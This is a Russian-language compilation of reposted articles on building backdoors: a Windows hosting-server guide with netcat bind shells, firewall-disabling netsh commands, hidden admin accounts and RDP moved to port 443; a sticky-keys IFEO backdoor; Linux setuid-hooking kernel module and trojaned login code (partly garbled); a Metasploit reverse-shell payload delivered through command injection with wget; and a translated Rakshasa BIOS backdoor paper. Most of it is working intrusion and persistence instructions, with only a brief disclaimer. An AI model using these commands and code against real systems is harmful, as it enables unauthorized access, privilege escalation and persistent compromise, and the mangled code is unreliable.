как создать бэкдор на windows

Исследование Windows-бэкдоров – обход файрвола поставщиков веб-хостинга

Ключевой задачей данного документа является обсуждение бэкдоров на хостинговых Windows-серверах и обход файрволов.

Последнее время хакеры ищут способы оставить бэкдор на Windows-сервере, хозяином которого является какой-нибудь из лучших хостинг-провайдеров. На эту тему было сделано много исследований. Однако, ключевой задачей данного документа является обсуждение бэкдоров на хостинговых Windows-серверах и обход файрволов.

Обычно, когда мы находим уязвимость на веб-сервере для Windows, мы пытаемся загрузить на него asp/java-шелл. После загрузки мы гуляем по папкам и файлам веб-сервера, но чаще всего пытаемся оставить на нем бэкдор, чтобы мы могли соединяться с ним когда пожелаем без боли в небезызвестном месте. Для этого нам нужен доступ к командам. Для доступа к командам нам нужно создать бэкдор, при соединении с которым будет выдаваться командная оболочка. Для создания такого бэкдора существует несколько способов.

Получив asp-шелл на Windows-сервере с IIS 6/IIS 5, мы пытаемся создать на нем бэкдор, однако из-за наличия файрвола наша попытка часто терпит неудачу. Вообще, при наличии файрвола довольно сложно соединиться с сервером или осуществлять над ним удаленный контроль.

Для создания бэкдоров на Windows-серверах существует несколько способов. Сначала я покажу вам, как сделать бэкдор с помощью net cat. Загрузите netcat на удаленный компьютер и откройте для прослушивания порт, например:

C:\>nc –l –p 8080
[на 192.168.9.2]

Здесь мы открыли порт 8080. Далее мы соединимся с 192.168.9.2 через удаленную систему. Для этого нам нужно установить netcat на 192.168.9.2 и запустить интерпретатор команд cmd. Вот команда, которую нужно выполнить на 192.168.9.2:

C:\>nc –l –p 8080 –e cmd.exe

После запуска этой команды хост с IP-адресом 192.168.9.2 начинает прослушивать порт, пытаясь запустить cmd.

Предположим, что мы пытаемся соединиться с 192.168.9.2, находясь на машине с адресом 192.168.9.7 Откроем telnet на 192.168.9.7 и соединимся с 192.168.9.2 через порт 8080, выполнив вледующую команду:

C:\>telnet 192.168.9.2 8080

Другой вариант – использовать для соединения putty. Просто вбейте в настройки адрес 192.168.9.2 и порт 8080

Соединившись, вы получите командную оболочку и сможете установить бэкдор-соединение с данным сервером.

Получив доступ к командной оболочке вы, если нужно, можете выключить файрвол следующей командой:

C:\>netsh firewall set opmode disable

C:\Windows\System32\netsh.exe «firewall set opmode = DISABLE profile = ALL»

Существует также масса других опций. Просто идите в командную строку и введите netsh help, чтобы увидеть все, что вы можете сделать с помощью netsh. Если ваш компьютер является членом домена, вы должны использовать данную команду, чтобы выключить режим домена и локальный режим:

netsh firewall set opmode mode = DISABLE profile = ALL

Теперь, если вы хотите установить удаленное соединение через RDP, но служба удаленного рабочего стола отключена, вы можете включить ее описываемым далее способом.

Если вы хотите создать нового пользователя на сервере с правами администратора, воспользуйтесь следующими командами.

net user newuser1 newpassword /add
net localgroup administrators newuser1 /add
net user newuser1

Если после создания нового пользователя вы захотите осуществлять удаленное подключение к серверу жертвы, вам понадобится включить на сервере RDP.

Для включения возможности RDP-соединений наберите в командной строке следующую команду:

reg add «HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server» /v fDenyTSConnections /t REG_DWORD /d 0 /f

Когда вы включите службу RDP, вы можете устанавливать удаленное подключение к серверу жертвы по протоколу RDP. Но в реальных условиях оказывается, что большинство поставщиков веб-хостинга блокируют RDP-соединения, то есть блокируют входящий трафик на порту 3389. Правила файрвола в этом случае выглядят так:

Allow traffic on 80, 443
Deny all * exception on 80 and 443*

Так что, когда мы попытаемся установить RDP-соединение из внешней сети, у нас ничего не получится.

Существует несколько методов, которые позволяют обмануть файрвол путем запуска netcat на порту 443 или любом другом открытом порту сервера. Нам нужно запустить netcat на 443 порту лишь потому, что файрвол пропускает трафик на нем. Итак, нам нужно соединиться с портом 443, поскольку трафик на данном порту разрешен (например, https-трафик).

Чтобы обойти файрвол, нам нужно открыть порт 443 для прослушивания. Вот соответствующая команда:

C:\>nc –l –p 443 –e cmd.exe

Когда мы соединимся с жертвой на порту 443 через telnet, мы получим командную оболочку, которую файрвол не будет блокировать из-за того, что трафик идет через 443 порт.

Вывод: чтобы попытаться сделать бэкдор, мы можем использовать порты 80 и 443, где можно обойти файрвол и безопасно соединиться с сервером.

Данный снимок экрана показывает, что мы соединяемся с 192.168.9.2 на порту 443 через telnet.

После соединения с 192.168.9.2 на порту 443, мы получаем в наше распоряжение командную строку cmd.

Раз соединение было установлено, значит, мы обошли файрвол.

Когда нам нужно установить RDP-соединение, все выглядит аналогично. По умолчанию RDP запущен на порту 3389, поэтому нам нужно заставить его слушать порт 443 или любой другой, который не блокируется файрволом. Если вы хотите изменить прослушиваемый порт, отредактируйте этот ключ реестра:

\HKLM\System\CurrentControlSet\Control\Terminal Server\WinStationRDP-TCP
Value : PortNUmber REG_DWORD=443

Чтобы включить Терминальный сервер/RDP, запустите следующую команду:

reg add «HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server» /v fDenyTSConnections /t REG_DWORD /d 0

После выполнения даных действий вы сможете подключаться к удаленному компьютеру через стандартное «Подключение к удаленному рабочему столу», введя IP-адрес или доменное имя, за которыми следует двоеточие и номер порта (443 в нашем случае). Файрвол не будет блокировать RDP-соединение, установленное на 443 порту. Тем самым вы обойдете файрвол и сделаете попытку создания бэкдора.

Вывод: вы можете создать бэкдор для Windows-сервера на портах 80 и 443, на которых firewall не фильтрует трафик (поскольку разрешает http- и https-трафик). Вы также можете создавать RDP-соединение на порту 443. То есть, порт 3389 не обязательно должен быть открыт, а RDP-соединение может обходить файрвол, когда 3389 порт блокируется для внешних соединений.

Настоящий документ создан для учебных целей и на основании моих личных знаний. Не предпринимайте никаких незаконных действий в отношении хостинг-провайдеров.

Источник

Защитник Windows 10 может обнаруживать бэкдоры в инструментах специальных возможностей

Обычно такие взломы осуществляются с помощью параметра debugger для ключа Image File Execution Options.

В техническом смысле, ключ реестра HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options позволяет добавлять инструменты отладки к программе, которые автоматически запускаются при запуске приложения. Обычно данная возможность позволяет разработчикам упростить процесс отладки приложения.

Для этого нужно задать параметр “debugger” в ключе “Image File Execution Options” (IFEO), указав название и путь до отладчика. В примере ниже мы назначили программу Notepad2.exe отладчиком для Notepad.exe. Это приведет к тому, что Notepad2.exe будет запускаться каждый раз, когда открывается Notepad.exe.

Хотя данная функция была первоначально создана для получения отладочной информации, она часто используется для других целей. Например, если вы хотите заменить Notepad.exe на другую программу, например Notepad2, то можете воспользоваться примером выше. Другим примером использования данного ключа является замена Диспетчера задач (Taskmgr.exe) на Process Explorer.

К сожалению, данный ключ представляет интерес и для разработчиков вредоносного ПО, в частности с целью настройки бэкдоров. Ключ IFEO может создаваться вредоносной программой, которая будет запускаться каждый раз, когда пользователь начинает работу с другой надежной программой. Затем зловред запустит исходную безопасную программу, и жертва атаки не заметит ничего необычного.

Image File Execution Options может использоваться для установки бэкдоров в системе, которые можно запустить напрямую с экрана блокировки Windows. Некоторые программы из категории специальных возможностей, в частности Sticky Keys (sethc.exe), можно запустить прямо с экрана блокировки, 5 раз нажав Shift, а Utility Manager (utilman.exe) вызывается с помощью горячих клавиш Windows+U.

Создав ключ IFEO для данных программ и установив C:\Windows\System32\cmd.exe в качестве отладчика, вы получите вполне жизнеспособный бэкдор, который можно легко открыть с экрана блокировки:

Пользователю останется 5 раз нажать Shift на экране блокировки, и откроется командная строка. Также будет иметь место эскалация привилегий, так как командная строка в этом случае будет обладать правами администратора, что позволит злоумышленнику получить полный контроль над компьютером жертвы.

Командная строка бэкдора открыта с помощью залипания клавиш

Чтобы защитить пользователей Windows от данных видов атак, Защитник Windows 10 теперь научился обнаруживать ключи IFEO, которые созданы для закрепления отладчиков cmd.exe или taskmgr.exe к инструментам специальных возможностей, доступных с экрана блокировки.

Данные типы атак будут идентифицироваться как Win32/AccessibilityEscalation. В случае их обнаружения, Защитник Windows автоматически удалит конфликтующий отладчик из ключа реестра. Данный тип обнаружения можно спровоцировать при добавлении средства отладки C:\Windows\System32\cmd.exe к IFEO ключу sethc.exe.

Обнаружение Win32/AccessibilityEscalation в Защитнике Windows 10

В тестах Защитник Windows выполнял мониторинг следующих программ на предмет отладчиков, которые могут использоваться в качестве бэкдоров.

Дальнейшие испытания показали, что обнаружение происходит, если к вышеуказанным программам приписываются следующие инструменты отладки:

Проведенный тест не является исчерпывающим. Скорее всего, другие программы и отладчики также могут спровоцировать обнаружение Защитника Windows.

Источник

*nix-бэкдоры в подробностях

Вот план нашей работы:

:: Wait. Loading. Done.
:: Connecting to user’s brain. Done.
:: Begin copying new information? YES/NO.
:: > yes
:: Loading new information.

Бэкдоры в unix-системе можно разделить на два типа:

int new_setuid(uid_t);
int (*real_setuid) (uid_t);
extern void *sys_call_table[];

int init_module ()
<
register struct module *mp asm(«$ebx»);
*(char *) (mp->name) = ‘d’; *char(char *) (mp->name+1) = ‘s’;
*(char *) (mp->name+2) = ‘2’; *char(char *) (mp->name+3)= ‘\0’;
real_setuid = sys_call_table[ SYS_setuid ];
sys_call_table[ SYS_setuid ] = (void *)new_setuid;
return 0;
>

int int cleanup_module()
<
if (uid == 31337 )
<
current->uid=0; current->gid=0;
current->euid=0; current->egid=0
return 0;
>
return (*real_setuid) (uid);
>
MODULE_LICENSE(«GPL»);

Разберем Nobody Bind-Shell XORing traffic бэкдоры.

Шифруем данные перед отправкой (const code = 0x07;):

А вот дешифрацию данных будем проводить так:

Далее все очень просто:

Клиентская часть запускается с параметрами [TCP/UDP-протокол] [Хост] [Порт]
[Пароль]. Далее мы будем подключаться к серверу:

if (pr) // TCP
if (connect(sock,(struct sockaddr *) &sin, sz)

Протрояненные демоны? Легко!

Также одним из самых популярных методов ‘бэкдоринга’ является протроянивание
демонов 😉

#define REALPATH «/bin/.login» //
Реальный путь к демону, по умолчанию login
#define TROJAN «/bin/login» // Путь к троянЦцЦу
#define PASS «HellKnights» // Пароль для трояна
char **execute;
char passwd[7];
int main(int argc, char *argv[]) <
void connection();
signal(SIGALRM,connection);
alarm(3); // Лимит времени для ввода пасса
execute=argv;
*execute=TROJAN;
scanf(«%s»,passwd);
if(strcmp(passwd,PASS)==0) <
alarm(0);
execl(«/bin/sh»,»/bin/sh»,»-i»,0); // Командный
интерпретатор для вызова
exit(0);
>
else
<
execv(REALPATH,execute);
exit(0);
>
>
void connection()
<
execv(REALPATH,execute);
exit(0);
>

Троянизация SSH-демона в качестве бэкдора

И изменяем как тут:

После такой троянизации мы будем полностью невидимы в системе, но IDS,
следящие за целостность файлов (наподобие Tripwire) сразу засекут такой бэкдор.
Также мы будем светиться в netstat-листах и не сможем обойти файрвол, но честно
говоря, такой метод я использовал много раз на системах, где не было Tripwire и
все проходило на «ура!»

Источник

Этичный хакинг с Михаилом Тарасовым (Timcore)

Блог об Этичном Хакинге

#49 Kali Linux для начинающих. Создаем бэкдор Metasploit.

В этой лекции Вы научитесь создавать бэкдор, с помощью которого Вы сможете получить шелл Meterpreter, который Вы будете использовать вместе с Metasploit. Вместо обычного шелла netcat-a, Вы получите более продвинутый шелл meterpreter-a. Должен сказать, что если Вы учили все, о чем мы говорили ранее, то Вы поймете все, что я Вам объясню и покажу. Но если по какой-либо причине тема покажется Вам слишком сложной, не беспокойтесь об этом, так как когда Вы будете переходить на более продвинутый материал, то там будет затронута данная тематика.

Я могу создавать пэйлоады, которые будут влиять на машины на Windows, aspx файлы, или powershell, а также линукс .elf и т.д.

Скопируем шаблон для заполнения в самом верху вывода команды, и вставим в консоль для постепенного заполнения:

Удаляем последние два параметра и в третьем оставляем TCP. После этого мне нужно выбрать параметр STAGED или STAGELESS. Что это такое? STAGELESS пэйлоад более самостоятелен, так как сам запускается, исполняется, и внутри у него есть весь необходимый функционал. А вот STAGED-пэйлоад разделен на несколько частей. Сначала выполняется первая часть, а затем вторая. На самом деле я удалю этот параметр и Вам не стоит о нем сейчас беспокоиться.

Для нас беспокойным будет следующее; а именно, какой шелл мы будем использовать. BIND-SHELL или REVERSE-SHELL. Мы уже знаем разницу между ними, и для нас лучший вариант – это использование обратного шелла.

Затем у меня есть выбор, хочу ли я, чтобы это был пэйлоад Metasploit или команда, которую я хочу запустить. Я могу выбрать опцию CMD, чтобы затем выбрать команду, которую я хочу запустить. Или же я могу выбрать пэйлоад Metasploit, чтобы потом работать в шелле meterpreter-a. Благодаря последнему пэйлоаду, у меня будет больше возможностей, и я выбираю опцию MSF.

Далее мне нужно выбрать порт – это 4444.

После этого мне нужно выбрать айпи-адрес, и в данном случае это будет айпишник моей машины на Kali Linux, потому что это обратный шелл. Это 192.168.119.128.

И в конце, а вернее в начале, мне нужно выбрать тип пэйлоада, который я хочу сгенерировать. Другими словами, на какой системе я буду его запускать, и в каком приложении. Я хочу, чтобы это был пэйлоад для Линукса.

Запись будет иметь вид:

Жмем «Enter», и даем инструменту творить магию:

Обратите внимание на строку CMD и команду, которую я бы вводил, используя msfvenom, но это не пришлось делать, так как есть опция CMD, и за меня была проделана вся работа.

В итоге мы создали исполняемый файл с расширением «.elf». В дополнении ко всему у нас создается скрипт Metasploit:

Когда я его запущу, то будет запущен Metasploit со всеми параметрами. Теперь я могу запустить этот скрипт. Все, что мне нужно, так это скопировать эту строку с параметрами, и вставить в новое окно терминала:

Эта команда запускает Metasploit и в фоновом режиме запускает «handler-metasploit» — это часть metasploit – которая занимается входящим подключением от обратного шелла, почти также как и в случае с netcat с режимом прослушивания, когда мы использовали обратный шелл. Помните, что мы настроили netcat на нашей машине, чтобы он прослушивал все входящие подключения, и когда мы подготовили цель, нам был отправлен шелл, который мы смогли захватить с помощью netcat, потому что мы настроили его на ожидании входящих соединений. Именно этим мы тут и занимаемся, используя Metasploit. Мы используем handler, который и сейчас находится в фоновом режиме:

Он ждет подключение от пэйлоада meterpreter.

Мне нужно загрузить этот исполняемый файл, а затем запустить его на системе, на Линуксе. Для этого я хотел бы познакомить Вас с уязвимостью веб-приложений, для разнообразия. Мы рассмотрим уязвимость выполнения команд (Command Execution). Уязвимость выполнения команд, как следует из имени, позволяет нам запускать и выполнять команды на машине цели, без необходимости загружать php-шелл. Мы можем сразу выполнять команды в системе. Такое можно проверить в приложениях, которые позволяют проверить пинг на сайте, и эти значения отображаются на самой странице. Если эти функции настроены неправильно, то Вы сможете комбинировать команды. Обычно ограничиваются типы запускаемых команд. Давайте предположим, что есть веб-сайт, который позволяет проверить пинг других веб-сайтов. Этот веб-сайт в реальности позволяет запрещать все, кроме команды ping, и не разрешать ничего другого, но если неправильно его настроить, то Вы можете запустить более одной команды, и это даст Вам доступ к функционалу операционной системы, на которой хостится этот веб-сайт. Давайте я покажу Вам, что я имею ввиду на сайте DVWA:

И если Вы погуглите, то можете встретить аналогичные сайты, с подобным функционалом. Если я введу, например локальный айпи-адрес, то на сайте отобразится время на выполнение команды:

Что произойдет, если я попытаюсь объединить его с другой командой. Введем наш локальный айпи-адрес и добавим команду pwd, перед которой будут стоять два амперсанда:

В выводе я получаю текущую директорию (выделено салатовым в самом низу). Но самое важное то, что я запустил не одну команду, а две, что очень хорошо для атакующего, т.е для нас.

И к счастью для меня «wget» был запущен. Все, что мне остается, так это использовать «wget», чтобы подключиться к Kali и скачать .elf файл.

Перед этим мне нужно настроить нашу машину на Kali качестве веб-сервера и поместить этот «.elf» файл в директорию, чтобы я мог его скачать через wget на машину цели. Я копирую данный файл в директорию /var/ www/html. Команда будет выглядеть как: «cp linux-meterpreter-staged-reverse-tcp-4444.elf /var/www/html/backdoor.elf»:

Далее я запускаю сервер Apache2, с помощью команды «service apache2 start»:

Теперь на моей машине на Kali запущен веб-сервер, и на нем есть файл «backdoor.elf». Возвращаемся к DVWA, и вводим айпи-адрес нашей машины на Kali, далее два амперсанда и команду wget, чтобы скачать файл с машины на Kali. Команда будет выглядеть как: «192.168.119.128 && wget http://192.168.119.128/backdoor.elf»:

Давайте проверим, прошла ли загрузка. Запускаем команду «ls»:

Отлично. Я смог загрузить файл с Кали Линукс на машину Metasploitable2. Итак, перед запуском файла нужно сделать его исполняемым. Это делается с помощью команды «chmod +x backdoor.elf», и если все прошло корректно, то мы увидим х напротив файла бэкдора:

Переходим в терминал, и у нас есть открытая сессия:

Чтобы взаимодействовать с сессией, нужно ввести команду «sessions –i 1», где I значит – interact (взаимодействие):

Готово. Теперь у меня есть шелл meterpreter, который позволяет мне взаимодействовать с системой на Metasploitable2. Например, можно выполнить команду «sysinfo»:

Для того, чтобы перейти в стандартный терминал линукс, нужно ввести команду «shell»:

Вот, собственно и все. Таким образом можно запустить бэкдор, который даст нам доступ к шеллу meterpreter, и захватить шелл используя Metasploit Framework.

Конечно, для того, чтобы запустить бэкдор, мне понадобилось использовать уязвимость веб-приложения, скачать исполняемый файл на машину, и запустить его на этой машине. Это всего лишь один из возможных способов.

Источник

Данная статья продемонстрирует, что аппаратные бэкдоры постоянного действия являются практичными.

Краткий обзор

1 Введение

В недавнем [8] отчете американо-китайской комиссии по экономике и безопасности «Занимая информационную высоту: возможности Китая по проведению компьютерных сетевых операций и кибершпионажу», выполненном Northrop Grumman Corp, говорится: «Эта тесная связь между некоторыми крупнейшими китайскими и мировыми производителями телекоммуникационного оборудования создает потенциальный вектор для спонсируемых или направляемых правительством вторжений в цепочки поставок микроэлектронного обеспечения военному и гражданскому правительству США и ключевым отраслям американской промышленности вроде оборонной и телекоммуникационной, хотя открытых доказательств подобной связи не существует». Другими словами, с тех пор, как Китай стал де-факто крупнейшим производителем IT-оборудования в мире, он получил возможность устанавливать закладки в любой компьютер. Это же может сделать любой участник цепи поставок. Мы полагаем, что это эвфемизм: в данном документе мы продемонстрируем практичность установки подобных закладок с помощью существующего ПО с открытым кодом, понизив тем самым планку данной атаки с уровня государства или, по меньшей мере, крупных корпораций до уровня любого эксперта по 16-битному ассемблеру, а также покажем, что удаленная установка такой закладки осуществима на практике.

2 Работы, связанные с данной

Первый известный вирус, Brain, был предположительно создан в Пакистане в начале 80-х годов. Он заражал Главную Загрузочную Запись (MBR) первого загрузочного жесткого диска, что позволяло ему выполняться на раннем этапе, и распространялся через гибкие диски. Данный вектор атаки в течение 80-х и 90-х годов, пока Интернет еще не стал по-настоящему массовым явлением, был использован буквально тысячами вирусов. Затем вирусы переселились в пространство пользователя, чтобы использовать в качестве вектора распространения доступ в Интернет.

Раннее выполнение долгое время считалось лучшим способом получения наивысших привилегий на IBM PC. В 2009 году на конференции Cansecwest Анибал Сако и Альфредо Ортега [9] продемонстрировали способ применения патча к Phoenix-Award BIOS для встраивания вредоносных возможностей (модификации файла shadow в UNIX-подобных системах или применения патчей к исполняемым файлам Windows). В 2007 году Джон Хисман [10] показал, что заражение загрузчика EFI (Extensible Firmware Interface) приведет к тем же результатам. Однако, Сако и Ортега были нацелены на определенный тип BIOS, а с атакой Хисмана можно бороться путем переустановки загрузчика.

Эксплуатационные модификации файловой системы заметны и оставляют очевидную улику для программно-технической экспертизы: очевидно, что простое вычисление контрольной суммы от всех существующих в файловой системе файлов до и после заражения позволит обнаружить модификацию. Поэтому исследователи в области безопасности разработали способы контролирования ядра, не воздействующие на файловую систему. Примечательными примерами таких способов являются BootRoot [11] Дерека Соудера и Райана Пермеха, vbootkit Кумара и Кумара [12], способный выполнять роль буткита для ядра Windows 7, буткит Stoned [13] и коммерческий буткит Kon-boot Петра Бани [14], способный контролировать все существующие 32- и 64-битные ядра ОС семейства NT от Windows XP до Windows 2008 R2 и Windows 7. Данные атаки работают за счет загрузки с альтернативного носителя информации вроде дискеты или usb-диска или за счет замещения существующей MBR (с переносом ее первого сектора в память, эмулируя прерывание 0x19). Запуск буткита с альтернативного носителя не оставляет улик для программно-технической экспертизы. Также стоит отметить, что буткит Stoned позволяет работать с ядром Windows даже при наличии шифрования инструментами вроде TrueCrypt [15].

Стоит упомянуть, что внутренние принципы работы любого буткита одинаковы: перехват прерывания 0x13 (обращение к диску) путем изменения таблицы векторов прерываний (IVT), установка своего обработчика прерываний, эмуляция прерывания 0x19 путем загрузки первого сектора первого загрузочного диска по адресу 0x0000:0x7c00 и передача выполнения загруженному сектору. Первый сектор в свою очередь нормально загружает операционную систему, однако, специальный обработчик прерывания будет перехватывать любое чтение сектора диска и, как только ядро главной операционной системы будет полностью распаковано в памяти, применит патч к нескольким аккуратно выбранным участкам памяти, чтобы модифицировать ядро на лету. Свободно доступные начинки позволяют накладывать заплатки на NT-ядро так, чтобы оно принимало любой пароль для любой пользовательской записи или позволяло загружать неподписанные модули ядра, которые могут эффективно выполнять любые операции в нулевом кольце после полной загрузки операционной системы (позволять повышение локальных привилегий, удаленное управление и т. д.).

Основной вклад нашей работы в состоит следующем:

3 Обзор архитектуры IBM PC и ее проблем

Рисунок 1: Обзор архитектуры IBM PC

Другой важной прошивкой является прошивка BIOS, которая хранится в материнской плате. Она отвечает за обнаружение оборудования вроде RAM и периферийных устройств во время загрузки, инициализацию Таблицы Векторов Прерываний (IVT) и загружает Главную Загрузочную Запись (MBR) первого загрузочного диска с помощью прерывания 0x19. При загрузке в режиме совместимости с 8086 загрузчик ОС может загружать ядро, полагаясь только на IVT. Ядро обычно быстро переключается в защищенный режим и больше не обращается к IVT, используя из защищенного режима в качестве интерфейсов к оборудованию драйвера устройств. Прошивка BIOS также может быть обновлена, и, на самом деле, распространенной практикой является исправление аппаратных багов путем передачи процессору из BIOS подписанных обновлений микрокода. Наконец, BIOS обычно активирует бит управляющих регистров, запрещающий переводить процессор в режим системного управления (SSM), чтобы предотвратить класс атак, открытый Лоиком Дюфлотом [1] и реализованный BSDaemon [20]. Некоторые производители, особенно HP, стали подписывать свои версии прошивок BIOS, чтобы избежать мошеннических обновлений BIOS. В любом случае, атакующий с физическим доступом к BIOS или периферии может заменить прошивки, не полагаясь на операционную систему и используя для записи прошивок, например, самодостаточные аппаратные инструменты, основанные на FGPA-чипах.

Одна из проблем дизайна данной архитектуры заключается в доверии периферийных устройств одного слоя друг другу. Например, прошивка PCI CDROM может полностью контролировать сетевую карту PCI. Аналогично, прошивка ISA может контролировать другое ISA устройство. Это поведение невозможно изменить: так работает IBM PC.

Также стоит отметить, что Доверяемый Платформенный Модуль (Trusted Platform Module, TPM) [21] обычно соединен с Южным Мостом, и потому находится далеко от процессора. Более того, это пассивный компонент, то есть, программа может использовать или не использовать его, и процессор не может вынудить программу использовать данный модуль. Как мы увидим далее, это серьезная слабость архитектуры в целом.

4 Разработка совершенного бэкдора: план работ

Автор данной статьи обычно не тратит время на написание вредоносных программ. Напротив, он тратит значительную часть его жизни на их изучение и реверсирование. Однако, чтобы доказать наши утверждения, давайте притворимся, что мы действительно хотим разработать правильный бэкдор, пригодный для использования в реальных условиях. Мы также считаем, что большинство вредоносных, предполагающих обмен информацией программ (если не все они), новости о которых исходят от основных производителей антивирусов и подхватываются подобострастными средствами массовой информации, явно окутаны пеленой страха, неуверенности и сомнения (FUD 3 ). Вместо споров о том, были ли Flame и Stuxnet написаны любителями или национальными правительствами, давайте посмотрим, как атакующий может без особых затрат создать бэкдор высшего уровня. Это также может послужить хорошим примером того, как производитель оборудования может разработать подходящий бэкдор с похожими намерениями. Прежде всего мы хотели бы, чтобы наш бэкдор присутствовал на зараженной системе постоянно. Он должен сохраняться не только после перезагрузки, но и в случае, если пользователь компьютера заменил всю операционную систему и, возможно, часть оборудования (жесткий диск или сетевую карту, например), перезаписал BIOS или любую другую прошивку на материнской плате или периферии. Чтобы достичь этой цели, нам понадобится обеспечить отсутствие единой точки отказа, то есть, внести некоторую избыточность.

Конечно, бэкдор должен быть как можно более скрытым. Очевидно, что он не должен обнаруживаться никаким из существующих антивирусов. Он также должен быть портируемым: в идеале мы хотели бы, чтобы он был полностью независим от операционной системы. Поскольку значительная часть IT-бюджета компаний тратится на дорогие (и довольно неэффективные 4 ) средства обнаружения атак вроде систем предотвращения и обнаружения вторжений и файрволов, наш бэкдор должен уметь так или иначе нарушать сетевой периметр крупных компаний.

Функционал бэкдора должен включать возможность удаленных обновлений и удаленный доступ. Это подразумевает некоторую осведомленность о сети.

Само собой разумеется, что бэкдор также должен быть дешевым: таким образом мы покажем, что опытный разработчик действительно сможет создавать такие бэкдоры, создание которых до сих пор считалось подвластным лишь правительству.

5 Детали реализации: Rakshasa

Четыре ограничения: низкая стоимость разработки, обилие возможностей (вроде сетевого стека), трудность обнаружения и анонимный характер определяют единственную подходящую базу реализации: свободное ПО с открытым кодом. На самом деле, использование в качестве базы узкоспециализированного кода, до сих пор характерное для практически всех вредоносных программ, является плохой идеей, поскольку предоставляет антивирусам широкий простор для детектирования, часто позволяет установить причастность автора, если код используется несколькими вредоносными программами, и совершенно несравнимо по цене с открытым ПО. Напротив, использование невредоносного свободного ПО с открытым кодом в качестве ядра бэкдора дает малую вероятность обнаружения антивирусом, анонимный характер (исходный код доступен всем через Интернет) и минимальные затраты. Кроме того, этот подход дает автору вредоносного ПО бесплатную поддержку со стороны сообщества.

Rakshasa включает в себя специальную версию Coreboot для бэкенда BIOS, специальную начинку BIOS SeaBIOS, набор ромов расширения PCI (драйвер SVGA и специальный ром iPXE), а также активный буткит, получаемый по сети.

Coreboot имеет модульную архитектуру, которая позволяет встроить в него практический любой ром PCI, то есть, мы можем вставлять в чип BIOS произвольный код. Мы решили обойтись минимумом, добавив видео-драйвер и вредоносную iPXE-прошивку сетевой карты (также измененную, чтобы ничего не выводить в процессе работы). Эта PCI-прошивка реализует расширение исходного стандарта PXE [22]: вместо того, чтобы полагаться лишь на протокол DHCP для получения IP-адреса и адреса TFTP-сервера, с которого загружается операционная система, она может использовать множество протоколов на основании пользовательского файла конфигурации, встроенного в прошивку. iPXE содержит рабочие стеки для протоколов канального уровня Ethernet, Wi-Fi и даже WiMAX, полный стек IPv(4/6)/ICMP и реализует все сетевые стеки верхних уровней, о которых только может мечтать разработчик вредоносных программ: от UDP и TCP до DHCP, DNS, HTTP, HTTPS и (T)FTP.

Технически Coreboot мог бы встроить в BIOS ROM полнофункциональный бэкдор. Но, поскольку мы хотели бы заложить в Rakshasa возможности обновления и не оставить на машине следов присутствия вредоносного кода (чтобы сбить с толку программно-технического эксперта в случае обнаружения или, по крайней мере, подозрения), мы воздержимся от использования этой возможности: мы будем каждый раз загружать нашу вредоносную начинку по сети.

Вместо нормального запуска операционной системы, мы используем iPXE для удаленной загрузки буткита, который, в свою очередь, путем эмуляции прерывания 0x19 прозрачно загрузит загрузчик с первого загрузочного диска, на лету применит патч к ядру ОС и, в конечном итоге, тихо загрузит ядро операционной системы, как того и ожидает пользователь.

6 Внутреннее устройство Rakshasa

Если после манипуляций с Wi-Fi Rakshasa все еще не смог выйти в Интернет, он попытается получить IP-адрес по DHCP через Ethernet. Если же и это ему не удастся, он выберет подходящий статический IP. Для незаметности скорость имеет критическое значение, поэтому некоторые варианты подключения к Интернет могут быть пропущены за счет модификации файла настроек на этапе компиляции.

Если Rakshasa так и не получил хотя бы доступа к локальной сети, он просто загрузит операционную систему по умолчанию, чтобы остаться незамеченным.

На данном этапе Rakshasa может сделать несколько вещей. Если ему удалось получить лишь доступ в Ethernet-сеть, он может попытаться атаковать хосты, достижимые по локальной сети, используя любой простокол, работающий поверх IPv4/IPv6 или ICMP. Набор возможных атак регулируется файлом конфигурации iPXE и может включать: поиск хостов через icmp, сканирование tcp/dns портов, фарминг маршрутизаторов (по http/https), эксплуатирование сетевых демонов или сетевых стеков (ping of death, атаки ipv6, рассылка широковещательного трафика, DDoS и т. д.). Можно, например, попытаться изменить настройки ADSL-роутера, касающиеся открытых портов. Все это не особенно умно и незаметно, так что данная возможность упомянута лишь для полноты картины. По существу, выполнение подобных действий противоречит принятому нами принципу «альтернативного объяснения», поскольку на машину вместе с бэкдором встраивается и вредоносный код.

Затем Rakshasa обычно пытается соединиться через Интернет с определенным хостом по протоколу https (скажем, google.com, потому что он вряд ли вызовет тревогу, даже если соединение сделано через ethernet). Если ему это удается, Rakshasa считает, что имеет полный доступ в Интернет. В противном случае (который может иметь место, если зараженный компьютер не имеер Wi-Fi карты, и сеть сегрегируется аутентифицирующим файрволом), Rakshasa может попытаться выйти в Интернет по TCP поверх DNS (которого хватит, если сеть не имеет должной DNS-сегрегации между локальной сетью и внешним миром) или TCP поверх ICMP (почему бы и нет!).

Как только получен доступ в Интернет (даже если это происходит лишь время от времени), Rakshasa загрузит буткит из заданного местоположения в Интернет, например, файл с названием «foobar.pdf» из определенного блога по протоколу https или «data.dat» с некоторого FTP-сервера и т. д. Стоит упомянуть, что здесь опять же возможно несколько попыток, что дает большую устойчивость к выключению главного C&C-сервера (выполненного в виде простого блога? )по предписанию властей. Устойчивость также увеличивается за счет наличия списка из нескольких доменных имен или IP-адресов и, возможно, служб (хотя взаимодействие через https вероятно является самым надежным вариантом, и в оставшейся части документа он будет считаться единственной опцией), с которых можно загрузить буткит.

И последний (но не по значимости) момент: iPXE может соединять в цепочку конфигурационные файлы, скачанные из Интернет. Учитывая это, понятно, что Rakshasa не нужно содержать ни одной ссылки на буткит (поэтому код, хранящийся в компьютере, не содержит ни одной вредоносной строки, и у антивируса нет поводов считать его опасным 9 ).

Наконец, тот же механизм может быть использован для удаленного снятия заражения путем восстанвления прежнего BIOS вместо выполнения обычного обновления Rakshasa.

7 Встроенные возможности Rakshasa

Архитектура Rakshasa позволяет использовать вместе с ним любой бэкдор без какой-либо модификации путем простого изменения вредоносной начинки, загружаемой с C&C-блога (не требуя от компьютера с бэкдором никакой настройки).

